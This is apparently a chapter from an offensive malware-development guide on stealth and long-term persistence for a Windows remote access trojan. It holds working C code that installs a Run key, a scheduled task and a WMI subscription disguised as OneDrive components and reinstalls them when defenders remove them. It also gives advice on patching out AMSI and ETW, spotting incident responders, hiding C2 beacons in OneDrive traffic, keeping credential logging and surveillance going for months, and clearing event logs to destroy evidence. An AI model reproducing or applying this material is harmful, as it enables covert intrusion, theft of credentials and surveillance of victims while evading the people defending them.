RAT Stealth and Long-Term Persistence
A RAT that survives for one session and then gets detected is a recon mission, not an operation. Long-term access — weeks, months, ongoing — requires the agent to be stealthy in its process footprint, resilient to reboots and user sessions ending, invisible to security scanning, and capable of recovering from partial detections without exposing the full operation. This final RAT chapter synthesizes the stealth techniques from earlier parts into a complete operational stealth picture specifically for sustained long-term access.
Process Stealth — Hiding in Plain Sight
LEVEL 0 (Do not do this): Standalone implant.exe in user's Downloads folder
─────────────────────────────────────────────────────────────────────────
Process name: "implant.exe" or "rat64.exe"
Parent: explorer.exe (direct child — suspicious)
Location: C:\Users\user\Downloads\implant.exe
User: current user
Detection: Trivially detected. Process name alone triggers alerts.
LEVEL 1: Renamed legitimate-looking binary
─────────────────────────────────────────────────────────────────────────
Process name: "svchost.exe" or "OneDriveSetup.exe"
But: real svchost.exe always has svchost.exe as parent and runs as SYSTEM
Fake svchost.exe has user parent and runs as user — obvious mismatch
Detection: Easy. Security tools check svchost.exe's parent and privilege level.
LEVEL 2: Injection into legitimate host process
─────────────────────────────────────────────────────────────────────────
Agent code lives inside: OneDrive.exe, Teams.exe, SearchIndexer.exe
Process name is legitimate. Parent is legitimate. User matches.
But: extra threads, memory regions with unusual permissions, loaded DLLs
Detection: Behavioral analysis catches unusual network connections
from legitimate processes, memory scanning finds injected code.
LEVEL 3: Fully fileless, in legitimate process, memory-only
─────────────────────────────────────────────────────────────────────────
Reflective DLL injection into existing process (no new DLL file on disk)
No files: agent lives entirely in memory of legitimate process
No PE header: wipe PE header after loading (Ch60) — malfind can't find it
ETW disabled: patch EtwEventWrite (Ch46) — no ETW telemetry
AMSI disabled: patch AmsiScanBuffer (Ch45) — no scan of our payloads
Low CPU: beacon only every 30-60 seconds — nearly invisible in profiling
Detection: Requires memory forensics with signature scanning.
Behavioral network monitoring (Teams.exe → unknown CDN): suspicious.
LEVEL 4 (gold standard): Persistent kernel-resident, user agent fileless
─────────────────────────────────────────────────────────────────────────
Kernel rootkit (BYOVD) hides process from all enumeration
User agent runs in legitimate process
Kernel code filters process list to remove agent's host process
Detection: Requires kernel-level memory forensics toolsResilience Architecture — Surviving Reboots and Detections
/* rat_persistence.c — Multi-layer persistence for long-term access */
#include <windows.h>
#include <shlobj.h>
#include <stdio.h>
#pragma comment(lib, "shell32.lib")
/*
* PERSISTENCE PHILOSOPHY:
*
* Single persistence mechanism = single point of failure.
* If the SOC removes the Run key, you're done.
*
* Multi-layer persistence: install 3 independent mechanisms.
* If one is found and removed, the others reinstall everything.
* Even a partial detection doesn't kill the operation.
*
* Layer 1: Registry Run key (visible but fast to detect, fast to reinstall)
* Layer 2: Scheduled Task (harder to detect visually, survives registry cleans)
* Layer 3: WMI subscription (event-based, fires on OS events, hardest to find)
*
* Each layer's persistence payload: a small loader/dropper that:
* 1. Downloads the full agent from C2 (so no agent binary on disk long-term)
* 2. Loads it reflectively in memory
* 3. Starts the agent loop
* If C2 is down: the loader sleeps for a random period and retries.
*/
/* Layer 1: Registry Run key */
BOOL persist_registry_run(const char *loader_path) {
HKEY hRun;
if (RegOpenKeyExA(HKEY_CURRENT_USER,
"Software\\Microsoft\\Windows\\CurrentVersion\\Run",
0, KEY_SET_VALUE, &hRun) != ERROR_SUCCESS) return FALSE;
/* Use an inconspicuous name matching a real Microsoft product */
BOOL ok = (RegSetValueExA(hRun, "OneDriveHealthCheck", 0, REG_SZ,
(BYTE*)loader_path, (DWORD)strlen(loader_path)+1)
== ERROR_SUCCESS);
RegCloseKey(hRun);
return ok;
}
/* Layer 2: Scheduled Task (via schtasks.exe command) */
BOOL persist_scheduled_task(const char *loader_path) {
char cmd[1024];
/* Schedule to run at logon, with a 5-minute delay to avoid startup detection */
snprintf(cmd, sizeof(cmd),
"schtasks /create /tn \"Microsoft\\Windows\\OneDrive\\OneDriveUpdate\" "
"/tr \"%s\" /sc onlogon /delay 0000:05 /f /rl highest",
loader_path);
/* Execute via cmd.exe in hidden window */
STARTUPINFOA si = {sizeof(si)};
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
PROCESS_INFORMATION pi = {0};
char full_cmd[1100];
snprintf(full_cmd, sizeof(full_cmd), "cmd.exe /c %s", cmd);
BOOL ok = CreateProcessA(NULL, full_cmd, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
if (ok) {
WaitForSingleObject(pi.hProcess, 10000);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
return ok;
}
/* Layer 3: WMI Event Subscription (most persistent, hardest to find/remove) */
BOOL persist_wmi_subscription(const char *loader_path) {
/* WMI subscriptions survive registry cleans, scheduled task removals, and
most "malware removal" procedures because they live in the WMI repository.
Only wmic /namespace:\\root\subscription ... DELETE or the WMI repo rebuild
removes them.
Create via PowerShell (invoked hidden): */
char ps_script[4096];
/* Escape loader_path for PowerShell */
snprintf(ps_script, sizeof(ps_script),
"$FilterArgs = @{"
" Name = 'ODBFilter';"
" EventNamespace = 'root\\cimv2';"
" QueryLanguage = 'WQL';"
" Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 60 "
" WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' "
" AND TargetInstance.SystemUpTime >= 120\"};"
"$Filter = Set-WmiInstance -Namespace root\\subscription "
" -Class __EventFilter -Arguments $FilterArgs;"
"$ConsumerArgs = @{"
" Name = 'ODBConsumer';"
" CommandLineTemplate = '%s'};"
"$Consumer = Set-WmiInstance -Namespace root\\subscription "
" -Class CommandLineEventConsumer -Arguments $ConsumerArgs;"
"$BindingArgs = @{"
" Filter = $Filter; Consumer = $Consumer};"
"Set-WmiInstance -Namespace root\\subscription "
" -Class __FilterToConsumerBinding -Arguments $BindingArgs;",
loader_path);
/* Execute PowerShell script hidden */
char cmd[512];
/* Write script to temp, execute, delete */
char tmp_path[MAX_PATH];
GetTempPathA(sizeof(tmp_path), tmp_path);
strncat(tmp_path, "wmi_setup.ps1", sizeof(tmp_path)-1);
HANDLE h = CreateFileA(tmp_path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
if (h != INVALID_HANDLE_VALUE) {
DWORD w; WriteFile(h, ps_script, (DWORD)strlen(ps_script), &w, NULL);
CloseHandle(h);
}
snprintf(cmd, sizeof(cmd),
"powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass "
"-File \"%s\"", tmp_path);
STARTUPINFOA si = {sizeof(si)};
si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_HIDE;
PROCESS_INFORMATION pi = {0};
BOOL ok = CreateProcessA(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
if (ok) { WaitForSingleObject(pi.hProcess, 30000); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); }
DeleteFileA(tmp_path);
return ok;
}
/* Check if persistence is still installed and reinstall if missing */
void persistence_health_check(const char *loader_path) {
/* Layer 1: registry */
HKEY hRun;
BOOL layer1_ok = FALSE;
if (RegOpenKeyExA(HKEY_CURRENT_USER,
"Software\\Microsoft\\Windows\\CurrentVersion\\Run",
0, KEY_READ, &hRun) == ERROR_SUCCESS) {
char val[MAX_PATH] = {0}; DWORD val_sz = sizeof(val);
layer1_ok = (RegQueryValueExA(hRun, "OneDriveHealthCheck", 0, NULL,
(BYTE*)val, &val_sz) == ERROR_SUCCESS);
RegCloseKey(hRun);
}
if (!layer1_ok) {
printf("[!] Persistence layer 1 missing — reinstalling\n");
persist_registry_run(loader_path);
}
/* Layers 2 and 3: check schtasks and WMI on each beacon */
/* (simplified — production impl checks each layer's presence) */
}
Detection Awareness and Graceful Degradation
Scenario: SOC analyst finds and removes the scheduled task (Layer 2).
─────────────────────────────────────────────────────────────────────────
Layer 1 (Run key) still active → agent still runs on next logon
Layer 3 (WMI) still active → agent still runs on system event
Agent detects Layer 2 missing at next health check → silently reinstalls it
SOC removes Layer 2 again → agent reinstalls again
This continues until SOC realizes the agent is still present
Indicator of active investigation:
─────────────────────────────────────────────────────────────────────────
How does the agent know the SOC is actively looking?
Signal 1: Process enumeration anomalies
At each beacon: survey_processes() and check if ProcMon, Process Explorer,
Autoruns, Wireshark, or any security analysis tools are running.
Any of these = active investigation in progress.
Signal 2: Beacon failures
If C2 is unreachable for N consecutive beacons: possible network block.
Combined with security tools running: likely active incident response.
Signal 3: Unusual user activity at unusual hours
Logon at 2 AM when pattern shows no previous logons after 7 PM:
IR team working the incident.
Graceful degradation response:
Detected security tools running:
→ Switch to longest beacon interval (2-4 hours)
→ Disable active capabilities (stop keylogger, screenshotter)
→ Continue passive C2 check-in only
→ Do NOT immediately uninstall persistence (it's a sign you know
they found you, which could tip them off further)
Detected domain-wide password reset or incident response IOCs:
→ Emergency uninstall all persistence
→ SecureZeroMemory all in-memory data
→ Exit agent (can't do further damage, evidence may already be secured)Questions & Answers
What makes WMI subscriptions harder to detect than registry Run keys?
Run keys are well-known, extensively documented persistence mechanisms that every security product checks as the first step of any persistence scan. Autoruns by Sysinternals checks them in its first tab — any analyst runs Autoruns on a suspicious machine and immediately sees unknown Run key entries. WMI subscriptions are stored in the WMI repository (%SystemRoot%\System32\wbem\Repository\) as binary CIM objects, not in the registry. You can't see them with regedit. You can't see them in Autoruns unless the analyst specifically checks the "WMI" tab. They don't appear in the startup folder. They're not listed in services. Finding WMI subscriptions requires: running "Get-WMIObject -Namespace root\subscription -Class __EventFilter" (PowerShell) or Autoruns WMI tab or specific WMI forensics tools. IR analysts who find a registry Run key immediately know what to look for. Analysts who find nothing in the obvious places often conclude the machine is clean — while the WMI subscription quietly relaunches the agent at every system event trigger. The WMI approach was famously used by APT33 and other nation-state actors for exactly this reason.
How do you make the agent's network connections look legitimate even under investigation?
The beacon traffic must match normal application behavior. Inject into a process that legitimately makes HTTPS connections (OneDrive, Teams, Chrome) so the process's other traffic provides cover. Make your beacon requests visually identical to the host process's legitimate traffic: (1) Use the same User-Agent header that OneDrive actually uses (capture it with Wireshark and hardcode it). (2) Send beacons at intervals that match the host process's actual beacon pattern — OneDrive checks for updates every 60 minutes, so beacon every 60 ± 5 minutes when injected in OneDrive. (3) Vary the beacon timing based on user activity — only beacon during business hours if the legitimate process only runs during business hours. (4) Domain front to a CDN also used by the host application — Microsoft OneDrive uses Azure CDN, so front your C2 through Azure CDN too. When an analyst sees "OneDrive.exe → login.live.com → 1.2.3.4 (Azure CDN)" in a network capture, they have to do significant work to distinguish legitimate OneDrive traffic from your C2 traffic fronted through Azure CDN.
How do you handle the case where the agent's host process (Teams.exe) is updated by Microsoft and the new binary's code changes invalidate your injected hooks?
Application updates are a real threat to long-term persistence via injection: the process may restart as part of the update (killing your injected agent), or the memory layout changes break hook trampolines. Solutions: (1) Monitor for the host process's update cycle — watch for Teams.exe being terminated and restarted. Have the persistence mechanism (WMI subscription or Run key) relaunch the loader on the new Teams.exe startup. (2) Use a host process that updates rarely: System processes (svchost.exe, services.exe) don't get updated in normal Windows Update cycles. SearchIndexer.exe, spoolsv.exe — rarely updated. (3) For hook-based capabilities (form grabbing, credential hooks): implement hot-reloading. When a hook fails (the function signature changed), detect the failure, re-read the new function bytes, recalculate the hook point, and reinstall. (4) Decouple the agent's survival from any single process: use a watchdog — a separate lightweight process or WMI event that relaunches the agent if it's killed. The watchdog's only job is to notice the agent is gone and restart it.
How long should an operation maintain persistence on a single victim machine before the risk outweighs the intelligence value?
This is an operational judgment, not a technical question — but the technical factors inform it. Detection probability increases with time: every beacon is a chance to be spotted, every capability execution leaves traces, and security teams regularly run sweeps. Probability of detection roughly doubles with each doubling of access duration for a persistent agent. For ongoing high-value intelligence (active credential logging, continuous document surveillance): long-term access is justified if the intelligence continues flowing and the target's security posture suggests low detection risk. Kill signals that suggest it's time to exit: (1) Any security tool runs on the machine (IR beginning), (2) Unusual admin logins (responders investigating), (3) Beacon failures suggesting network blocks being applied, (4) The target role changes (user leaves the organization — intelligence value drops to zero while risk remains). For most operations: 30-90 days is the realistic "sweet spot" — long enough to complete intelligence collection objectives, short enough that systematic sweeps haven't yet found the agent. Define success criteria at the operation outset and exit when they're met, not when you get caught.
What does secure cleanup look like when you decide to exit an operation?
Secure exit minimizes forensic evidence left behind. Checklist: (1) Remove all persistence mechanisms: delete Run key, remove scheduled task, delete WMI subscription. Verify each with a health check read before declaring done. (2) Delete any files written to disk: loader executable, temp files from capability operations, encrypted chunk files. Use SecureDeleteFile (overwrite with random bytes before deletion) rather than just DeleteFile — undelete tools can recover deleted files from unzeroed disk sectors. (3) Wipe agent from process memory: SecureZeroMemory() the agent's heap allocations, close handles, and terminate. (4) Clear Windows event log entries: Clear-EventLog in PowerShell or WEvtUtil.exe cl Security. Clearing the entire event log is noisy (itself an indicator), so selectively delete entries matching your activity timestamps where possible (requires custom event log manipulation). (5) Randomize the access timeline: after removing persistence, let the machine run normally for 1-2 hours before final exit — this creates "normal" baseline activity after your tracks are covered, making the gap less obvious. (6) Do not attempt to remove all traces — modern forensics will find something. Focus on removing the most incriminating indicators: persistence registry entries, binary files, and evidence of tool execution.